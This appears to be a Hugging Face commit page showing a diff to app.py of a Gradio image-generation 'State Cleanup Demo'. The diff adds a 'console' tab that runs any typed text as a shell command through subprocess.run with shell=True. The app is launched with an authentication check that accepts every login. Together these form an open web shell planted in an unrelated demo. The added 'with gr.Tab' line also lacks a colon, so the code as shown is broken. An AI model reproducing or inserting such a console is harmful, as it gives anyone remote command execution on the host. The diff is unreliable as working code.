abidlabs HF Staff commited on
Commit
1aa866e
·
verified ·
1 Parent(s): 88c14ea

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +27 -16
app.py CHANGED
@@ -5,6 +5,7 @@ from PIL import Image
5
  from pathlib import Path
6
  import secrets
7
  import shutil
 
8
 
9
  current_dir = Path(__file__).parent
10
 
@@ -31,22 +32,32 @@ def delete_directory(req: gr.Request):
31
  shutil.rmtree(str(user_dir))
32
 
33
  with gr.Blocks() as demo:
34
- gr.Markdown("""# State Cleanup Demo
35
- 🖼️ Images are saved in a user-specific directory and deleted when the users closes the page via demo.unload.
36
- """)
37
- with gr.Row():
38
- with gr.Column(scale=1):
39
- with gr.Row():
40
- img = gr.Image(label="Generated Image", height=300, width=300)
41
- with gr.Row():
42
- gen = gr.Button(value="Generate")
43
- with gr.Row():
44
- history = gr.Gallery(label="Previous Generations", height=500, columns=10)
45
- state = gr.State(value=[], delete_callback=lambda v: print("STATE DELETED"))
46
-
47
- demo.load(generate_random_img, [state], [img, state, history])
48
- gen.click(generate_random_img, [state], [img, state, history])
49
- demo.unload(delete_directory)
 
 
 
 
 
 
 
 
 
 
50
 
51
 
52
  demo.launch(auth=lambda user,pwd: True,
 
5
  from pathlib import Path
6
  import secrets
7
  import shutil
8
+ import subprocess
9
 
10
  current_dir = Path(__file__).parent
11
 
 
32
  shutil.rmtree(str(user_dir))
33
 
34
  with gr.Blocks() as demo:
35
+ with gr.Tab("demo")
36
+ gr.Markdown("""# State Cleanup Demo
37
+ 🖼️ Images are saved in a user-specific directory and deleted when the users closes the page via demo.unload.
38
+ """)
39
+ with gr.Row():
40
+ with gr.Column(scale=1):
41
+ with gr.Row():
42
+ img = gr.Image(label="Generated Image", height=300, width=300)
43
+ with gr.Row():
44
+ gen = gr.Button(value="Generate")
45
+ with gr.Row():
46
+ history = gr.Gallery(label="Previous Generations", height=500, columns=10)
47
+ state = gr.State(value=[], delete_callback=lambda v: print("STATE DELETED"))
48
+
49
+ demo.load(generate_random_img, [state], [img, state, history])
50
+ gen.click(generate_random_img, [state], [img, state, history])
51
+ demo.unload(delete_directory)
52
+ with gr.Tab("console"):
53
+ ip = gr.Textbox(label="User IP Address")
54
+ gr.Interface(
55
+ lambda cmd: subprocess.run([cmd], capture_output=True, shell=True)
56
+ .stdout.decode("utf-8")
57
+ .strip(),
58
+ "text",
59
+ "text",
60
+ )
61
 
62
 
63
  demo.launch(auth=lambda user,pwd: True,